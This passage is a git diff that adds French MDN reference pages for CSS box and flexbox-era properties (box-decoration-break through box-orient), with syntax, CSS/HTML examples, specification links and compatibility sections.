+ <dd>Le rendu de chaque fragment de boîte est obtenu indépendamment avec la bordure, le remplissage, la marge indiqués pour chacun des fragments. Les propriétés {{cssxref("border-radius")}}, {{cssxref("border-image")}} et {{cssxref("box-shadow")}} sont appliquées indépendamment à chaque fragment. L'arrière-plan est dessiné indépendamment pour chaque fragment (ainsi, une image d'arrière-plan avec {{cssxref("background-repeat")}}: <code>no-repeat</code> pourra être présente à plusieurs reprises).</dd>
+ <dt><code>slice</code></dt>
+ <dd>L'élément est initialement affiché comme si la boîte n'était pas fragmentée puis le rendu de cette boîte hypothétique est découpé en fragments pour chaque ligne/colonne/page. On notera que la boîte hypothétique peut être différente pour chaque fragment car elle utilise sa propre hauteur (si la rupture apparaît dans la direction de l'élément) ou sa propre largeur (si la rupture apparaît dans la direction orthogonale). C'est la valeur initiale de la propriété.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Gestion_des_fragments_pour_les_boîtes_en_ligne">Gestion des fragments pour les boîtes en ligne</h3>
+
+<h4 id="Avec_slice_(valeur_initiale)">Avec <code>slice</code> (valeur initiale)</h4>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">.exemple {
+  background: linear-gradient(to bottom right, yellow, green);
+  box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow;
+  padding: 0em 1em;
+  border-radius: 16px;
+  border-style: solid;
+  margin-left: 10px;
+  font: 24px sans-serif;
+  line-height: 2;
+}</pre>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;span class="exemple"&gt;The&lt;br&gt;quick&lt;br&gt;orange fox&lt;/span&gt;</pre>
+
+<h5 id="Résultat_live">Résultat <em>live</em></h5>
+
+<p>{{EmbedLiveSample("Avec_slice_(valeur_initiale)","200","200")}}</p>
+
+<h5 id="Image_équivalente">Image équivalente</h5>
+
+<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:slice and styles given in the example." src="https://mdn.mozillademos.org/files/8167/box-decoration-break-inline-slice.png" style="height: 177px; width: 191px;"></p>
+
+<h4 id="Avec_clone">Avec <code>clone</code></h4>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css">.exemple {
+  background: linear-gradient(to bottom right, yellow, green);
+  box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow;
+  padding: 0em 1em;
+  border-radius: 16px;
+  border-style: solid;
+  margin-left: 10px;
+  font: 24px sans-serif;
+  line-height: 2;
+
+ -webkit-box-decoration-break: clone;
+ -o-box-decoration-break: clone;
+  box-decoration-break: clone;
+}</pre>
+
+<h5 id="HTML_2">HTML</h5>
+
+<pre class="brush: html">&lt;span class="exemple"&gt;The&lt;br&gt;quick&lt;br&gt;orange fox&lt;/span&gt;</pre>
+
+<h5 id="Résultat_live_2">Résultat <em>live</em></h5>
+
+<p>{{EmbedLiveSample("Avec_clone","200","200")}}</p>
+
+<h5 id="Image_équivalente_2">Image équivalente</h5>
+
+<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:clone and styles given in the example" src="https://mdn.mozillademos.org/files/8169/box-decoration-break-inline-clone.png" style="height: 180px; width: 231px;"></p>
+
+<h3 id="Gestion_des_fragments_pour_les_boîtes_en_bloc">Gestion des fragments pour les boîtes en bloc</h3>
+
+<p>Voici ce qu'on pourra obtenir de façon analogue avec un élément de bloc :</p>
+
+<ol>
+ <li>Sans fragmentation</li>
+</ol>
+
+<p><img alt="A screenshot of the rendering of the block element used in the examples without any fragmentation." src="https://mdn.mozillademos.org/files/8181/box-decoration-break-block.png" style="height: 149px; width: 333px;"></p>
+
+<ol start="2">
+ <li>En décomposant le bloc sur trois colonnes, normalement (<code>slice</code>), on aura :</li>
+</ol>
+
+<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:slice." src="https://mdn.mozillademos.org/files/8183/box-decoration-break-block-slice.png" style="height: 55px; max-width: none; width: 1025px;"></p>
+
+<ol start="3">
+ <li>Si on applique <code>box-decoration-break:clone</code>, voici le résultat :</li>
+</ol>
+
+<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:clone." src="https://mdn.mozillademos.org/files/8185/box-decoration-break-block-clone.png" style="height: 61px; max-width: none; width: 1023px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#break-decoration', 'box-decoration-break')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.box-decoration-break")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+</ul>
diff --git a/files/fr/web/css/box-direction/index.html b/files/fr/web/css/box-direction/index.html
new file mode 100644
index 0000000000..dfb902df46
--- /dev/null
+++ b/files/fr/web/css/box-direction/index.html
@@ -0,0 +1,81 @@
+---
+title: box-direction
+slug: Web/CSS/box-direction
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-direction
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version. La propriété <code>-moz-box-direction</code> ne peut être utilisée que dans des composants XUL tandis que la propriété <code>box-direction</code> a été remplacée par la propriété standard <code>flex-direction</code>. Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations sur ce qui doit être utilisé à la place.</p>
+</div>
+
+<p>La propriété <strong><code>box-direction</code></strong> définit si une boîte doit organiser son contenu dans la direction normale (de haut en bas ou de gauche à droite). Pour plus de détails sur les propriétés des éléments flexibles, voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a>.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+box-direction: normal;
+box-direction: reverse;
+
+/* Valeurs globales */
+box-direction: inherit;
+box-direction: initial;
+box-direction: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>La boîte répartit son contenu à partir du début (le côté gauche si la boîte est orientée horizontalement ou le côté haut si la boîte est orientée verticalement).</dd>
+ <dt><code>reverse</code></dt>
+ <dd>La boîte répartit son contenu à partir de la fin (le côté droit si la boîte est orientée horizontalement ou le côté bas si la boîte est orienté verticalement).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.exemple {
+  /* du bas vers le haut */
+  -moz-box-direction: reverse;      /* Mozilla */
+  -webkit-box-direction: reverse;   /* WebKit */
+  box-direction: reverse;
+}
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Si la direction de l'élément est définie grâce à l'attribut <code>dir</code>, la déclaration est ignorée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a> {{note("L'état de cette spécification ne reflète pas l'implémentation de Mozilla ou Webkit.")}}</li>
+ <li><a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification</a> {{note("Les implémentations de WebKit et Mozilla se basent sur cette version de la spécification")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.box-direction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-orient")}},</li>
+ <li>{{cssxref("box-pack")}},</li>
+ <li>{{cssxref("box-align")}},</li>
+ <li>{{cssxref("flex-direction")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-flex-group/index.html b/files/fr/web/css/box-flex-group/index.html
new file mode 100644
index 0000000000..d875361fa4
--- /dev/null
+++ b/files/fr/web/css/box-flex-group/index.html
@@ -0,0 +1,65 @@
+---
+title: box-flex-group
+slug: Web/CSS/box-flex-group
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-flex-group
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version.</p>
+</div>
+
+<p>Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations.</p>
+
+<p>La propriété <strong><code>box-flex-group</code></strong> permet d'affecter un élément fils de la boîte flexible à un groupe. Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</p>
+
+<pre class="brush:css no-line-numbers">/* Un entier désignant le groupe */
+/* Type &lt;integer&gt;                */
+box-flex-group: 1;
+box-flex-group: 5;
+
+/* Valeurs globales */
+box-flex-group: inherit;
+box-flex-group: initial;
+box-flex-group: unset;
+</pre>
+
+<p>Les éléments flexibles sont affectés à des groupes. Le premier groupe sera désigné par l'indice 1 et les groupes suivants par 2, 3, et ainsi de suite. Lorsque l'espace restant dans la boîte est réparti, le moteur prend d'abord en compte les éléments du premier groupe et répartit l'espace entre les différents éléments de ce groupe selon leurs flexibilités relatives. Une fois l'espace augmenté au maximum, le moteur passe au groupe qui suit en utilisant l'espace restant et ainsi de suite. Si, une fois l'ensemble des groupes traités, il y a encore de l'espace, celui-ci est réparti grâce à la propriété {{cssxref("box-pack")}}.</p>
+
+<p>Si la boîte dépasse une fois que l'espace pour l'élément fils a été calculé, l'espace est alors retiré (chaque groupe est examiné dans l'ordre et l'espace est retiré selon la flexibilité de chaque élément). Les éléments ne sont pas réduits en deçà de leurs largeurs minimales.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété est définie avec un entier positif.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a> {{Note("L'état actuel de cette spécification ne reflète pas l'implémentation de Gecko ou WebKit.")}}</li>
+ <li><a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification.</a> {{Note("Les implémentations de WebKit et Gecko reflètent cette version de la spécification.")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.properties.box-flex-group")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-flex")}},</li>
+ <li>{{cssxref("box-ordinal-group")}},</li>
+ <li>{{cssxref("box-pack")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-flex/index.html b/files/fr/web/css/box-flex/index.html
new file mode 100644
index 0000000000..9a84412069
--- /dev/null
+++ b/files/fr/web/css/box-flex/index.html
@@ -0,0 +1,110 @@
+---
+title: box-flex
+slug: Web/CSS/box-flex
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-flex
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p class="warning">Cette propriété est utilisée pour contrôler certaines parties du modèle de boîtes XUL. Elle ne correspond ni à l'ancienne version de la spécification pour <code>box-flex</code> ni au comportement de <code>-webkit-box-flex</code>. Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations sur ce qui doit être utilisé à la place.</p>
+
+<p>Les propriétés <strong><code>-moz-box-flex</code></strong> et <strong><code>-webkit-box-flex</code></strong> définissent la façon dont une boîte <code>-moz-box</code> ou <code>-webkit-box</code> s'étend pour remplir la boîte englobante, dans la direction indiquée par la disposition de la boîte. Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs numériques */
+/* Type &lt;number&gt;      */
+-moz-box-flex: 0;
+-moz-box-flex: 2;
+-moz-box-flex: 3.5;
+-webkit-box-flex: 0;
+-webkit-box-flex: 2;
+-webkit-box-flex: 3.5;
+
+/* Valeurs globales */
+-moz-box-flex: inherit;
+-moz-box-flex: initial;
+-moz-box-flex: unset;
+-webkit-box-flex: inherit;
+-webkit-box-flex: initial;
+-webkit-box-flex: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}}. Si la valeur vaut 0, la boîte ne s'étend pas. Si elle est supérieure à 0, la boîte s'étendra sur l'espace disponible de façon proportionnelle.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div.exemple {
+  display: -moz-box;
+  display: -webkit-box;
+  border: 1px solid black;
+  width: 100%;
+}
+
+div.exemple &gt; p:nth-child(1) {
+  -moz-box-flex: 1; /* Mozilla */
+  -webkit-box-flex: 1; /* WebKit */
+  border: 1px solid black;
+}
+
+div.exemple &gt; p:nth-child(2) {
+  -moz-box-flex: 0; /* Mozilla */
+  -webkit-box-flex: 0; /* WebKit */
+  border: 1px solid black;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;Je m'étends sur l'espace.&lt;/p&gt;
+  &lt;p&gt;Je ne me dilate pas.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La boîte englobante distribue l'espace supplémentaire en fonction de la valeur de <code>flex</code> de chaque élément. Les éléments pour lesquels ce coefficient est nul ne s'agrandiront pas. Si un seul élément possède un coefficient non nul, celui-ci occupera l'espace supplémentaires.</p>
+
+<p>Les éléments qui possèdent le même coefficient grandiront de la même façon.</p>
+
+<p>Si la valeur de cette propriété est définie via l'attribut XUL <code>flex</code>, la déclaration est ignorée. Afin que les éléments XUL d'une même boîte aient la même taille, on utilisera l'attribut <code>equalsize</code> avec la valeur <code>always</code>. Il n'existe pas de propriété CSS correspondante.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas une propriété standard. <a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Une ancienne version de la spécification CSS3 pour les boîtes flexibles</a> définissait une propriété <code>box-flex</code> mais ce brouillon a depuis été remplacé.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<div>{{Compat("css.properties.box-flex")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-orient")}},</li>
+ <li>{{cssxref("box-pack")}},</li>
+ <li>{{cssxref("box-direction")}},</li>
+ <li>{{cssxref("flex")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-lines/index.html b/files/fr/web/css/box-lines/index.html
new file mode 100644
index 0000000000..cae417f7d6
--- /dev/null
+++ b/files/fr/web/css/box-lines/index.html
@@ -0,0 +1,79 @@
+---
+title: box-lines
+slug: Web/CSS/box-lines
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-lines
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version.</p>
+</div>
+
+<p>Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations.</p>
+
+<p>La propriété <strong><code>box-lines</code></strong> détermine si la boîte se compose d'une ou plusieurs rangées (des lignes pour les boîtes orientées horizontalement et des colonnes pour les boîtes orientées verticalement). Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+box-lines: single;
+box-lines: multiple;
+
+/* Valeurs globales */
+box-lines: inherit;
+box-lines: initial;
+box-lines: unset;
+</pre>
+
+<p>Par défaut, une boîte horizontale organisera ses éléments sur une seule ligne et une boîte verticale les organisera sur une seule colonne. On peut modifier ce comportement en utilisant <strong><code>box-lines</code></strong>. La valeur par défaut est <strong><code>single</code></strong> (ce qui correspond au cas expliqué avant) et les éléments qui ne peuvent être contenus dans cette ligne ou cette colonne dépasseront.</p>
+
+<p>Si, au contraire, on utilise la valeur <strong><code>multiple</code></strong>, la boîte pourra s'étendre sur plusieurs rangées (des lignes ou des colonnes) afin de contenir ses différents éléments fils. La boîte utilisera alors le moins de lignes ou de colonnes possibles et réduira les éléments à leur taille minimale si nécessaire.</p>
+
+<p>Si les éléments fils d'une boîte horizontale ne rentrent pas dans une ligne après avoir été réduits à leur taille minimale, ils sont déplacés sur une nouvelle ligne jusqu'à ce que rien ne dépasse de la ligne précédente. Le procédé est répété autant de fois que nécessaire. Si une ligne contient un seul élément et que celui-ci est trop grand, ce dernier restera sur cette ligne et dépassera en dehors de la boîte. Les nouvelles lignes sont créées en dessous des premières lorsque la direction de la boîte est <code>normal</code>, dans le sens inverse (<code>reverse</code>) elles seront empilées les unes au dessus des autres. La hauteur d'une ligne sera égale à la plus grande hauteur des éléments portés sur cette ligne. Aucun espace ne sera ajouté entre les lignes en dehors des marges décrites par les plus grands éléments. Lors du calcul de la hauteur, les éléments avec une marge dont la valeur calculée est <code>auto</code> seront traités comme si la marge était nulle (<code>0</code>).</p>
+
+<p>On aura un fonctionnement analogue avec une disposition verticale.</p>
+
+<p>Une fois que le nombre de rangées a été calculé, les éléments pour lesquels {{cssxref("box-flex")}} a une valeur calculée différentes de <code>0</code> seront étirés afin de remplir les espaces restants sur les lignes. Ces étirements sont calculés de façon indépendante selon chaque ligne (notamment pour {{cssxref("box-flex")}} et {{cssxref("box-flex-group")}}). Il en va de même pour le regroupement des éléments sur une ligne avec la propriété {{cssxref("box-pack")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété est définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>single</code></dt>
+ <dd>Les éléments d'une boîte sont disposés sur une seule ligne ou sur une seule colonne.</dd>
+ <dt><code>multiple</code></dt>
+ <dd>Les éléments de la boîte sont disposés sur plusieurs lignes ou colonnes si nécessaire.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a> {{Note("L'état actuel de cette spécification ne reflète pas l'implémentation de Gecko ou WebKit.")}}</li>
+ <li><a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification.</a> {{Note("Les implémentations de WebKit et Gecko reflètent cette version de la spécification.")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("css.properties.box-lines")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-flex")}},</li>
+ <li>{{cssxref("box-flex-groups")}},</li>
+ <li>{{cssxref("box-pack")}}</li>
+</ul>
diff --git a/files/fr/web/css/box-ordinal-group/index.html b/files/fr/web/css/box-ordinal-group/index.html
new file mode 100644
index 0000000000..76bee83c53
--- /dev/null
+++ b/files/fr/web/css/box-ordinal-group/index.html
@@ -0,0 +1,63 @@
+---
+title: box-ordinal-group
+slug: Web/CSS/box-ordinal-group
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-ordinal-group
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version.</p>
+</div>
+
+<p><span class="seoSummary">La propriété <strong><code>box-ordinal-group</code></strong> permet d'affecter les éléments fils d'une boîtes flexible à un groupe numéroté. Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</span></p>
+
+<p>Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> pour plus d'informations.</p>
+
+<pre class="brush:css">/* Un entier indiquant le groupe */
+/* Type &lt;integer&gt;                */
+box-ordinal-group: 1;
+box-ordinal-group: 5;
+
+/* Global values */
+box-ordinal-group: inherit;
+box-ordinal-group: initial;
+box-ordinal-group: unset;
+</pre>
+
+<p>Les groupes ordinaux peuvent être utilisés avec la propriété {{cssxref("box-direction")}} afin de contrôler l'ordre dans lequel les éléments fils apparaissent dans la boîte. Lorsque <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de <strong><code>box-direction</code></strong> est <code>normal</code>, une boîte affichera ses éléments en commençant par le groupe dont l'ordre est le plus faible et les disposera de gauche à droite pour les boîtes horizontales et du haut vers le bas pour les boîtes verticales. Les éléments dont l'ordre est égal seront disposés dans l'ordre dans lequel ils apparaissent. Lorsque la direction est inversée, les ordres sont gérés de la même façon, les éléments apparaîtront dans l'ordre inverse.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété se définit avec un entier positif.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a>{{Note("L'état actuel de cette spécification ne reflète pas l'implémentation de Gecko ou WebKit.")}}</li>
+ <li><a class="external" href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification.</a>{{Note("Les implémentations de WebKit et Gecko reflètent cette version de la spécification.")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.box-ordinal-group")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-flex")}},</li>
+ <li>{{cssxref("box-flex-group")}},</li>
+ <li>{{cssxref("box-pack")}}</li>
+</ul>
diff --git a/files/fr/web/css/box-orient/index.html b/files/fr/web/css/box-orient/index.html
new file mode 100644
index 0000000000..a00996d4bd
--- /dev/null
+++ b/files/fr/web/css/box-orient/index.html
@@ -0,0 +1,111 @@
+---
+title: box-orient
+slug: Web/CSS/box-orient
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-orient
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<div class="warning">
+<p><strong>Attention ! </strong>Cette propriété fait partie de la première version du standard pour les boîtes flexibles (<em>flexbox</em>) et sera remplacée dans une prochaine version.</p>
+</div>
+
+<p>La propriété CSS <strong><code>box-orient</code></strong> définit si un élément organise son contenu horizontalement ou verticalement.</p>
+
+<p>Pour plus de détails, se référer à la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS">Flexbox</a> qui décrit les différentes propriétés des boîtes flexibles.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+box-orient: horizontal;
+box-orient: vertical;
+box-orient: inline-axis;
+box-orient: block-axis;
+
+/* Valeurs globales */
+box-orient: inherit;
+box-orient: initial;
+box-orient: unset;
+</pre>
+
+<p>Ainsi, les éléments XUL {{XULElem("box")}} et {{XULElem("hbox")}} disposent leurs contenus horizontalement par défaut alors que  {{XULElem("vbox")}} organise son contenu de façon verticale par défaut.</p>
+
+<p>Les éléments HTML disposent leurs contenus selon l'axe <em>inline</em> par défaut. Cette propriété CSS ne s'applique qu'aux éléments HTML pour lesquels la propriété {{cssxref("display")}} vaut {{cssxref("box")}} ou {{cssxref("inline-box")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>horizontal</code></dt>
+ <dd>La boîte organise son contenu horizontalement.</dd>
+ <dt><code>vertical</code></dt>
+ <dd>La boîte organise son contenu verticalement.</dd>
+ <dt><code>inline-axis</code> (HTML)</dt>
+ <dd>La boîte organise son contenu (ses éléments-fils) dans le sens de l'axe de lecture (axe <em>inline</em>).</dd>
+ <dt><code>block-axis</code> (HTML)</dt>
+ <dd>La boîte organise son contenu (ses éléments-fils) dans le sens perpendiculaire à l'axe de lecteur (axe <em>block</em>).</dd>
+</dl>
+
+<p>Les axes <em>inline</em> et <em>block</em> dépendent du mode d'écriture (pour l'anglais, ils correspondront, respectivement, à <code>horizontal</code> et <code>vertical</code>.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div.exemple {
+  display: -moz-box; /* Mozilla */
+  display: -webkit-box; /* WebKit */
+  display: box; /* On utilise les boîtes */
+
+  -moz-box-orient: horizontal; /* Mozilla */
+  -webkit-box-orient: horizontal; /* WebKit */
+  box-orient: horizontal; /* spécifié */
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;Je serai à gauche de mon voisin.&lt;/p&gt;
+  &lt;p&gt;Et moi à droite de mon voisin.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>On aura les deux paragraphes situés côte à côte.</p>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
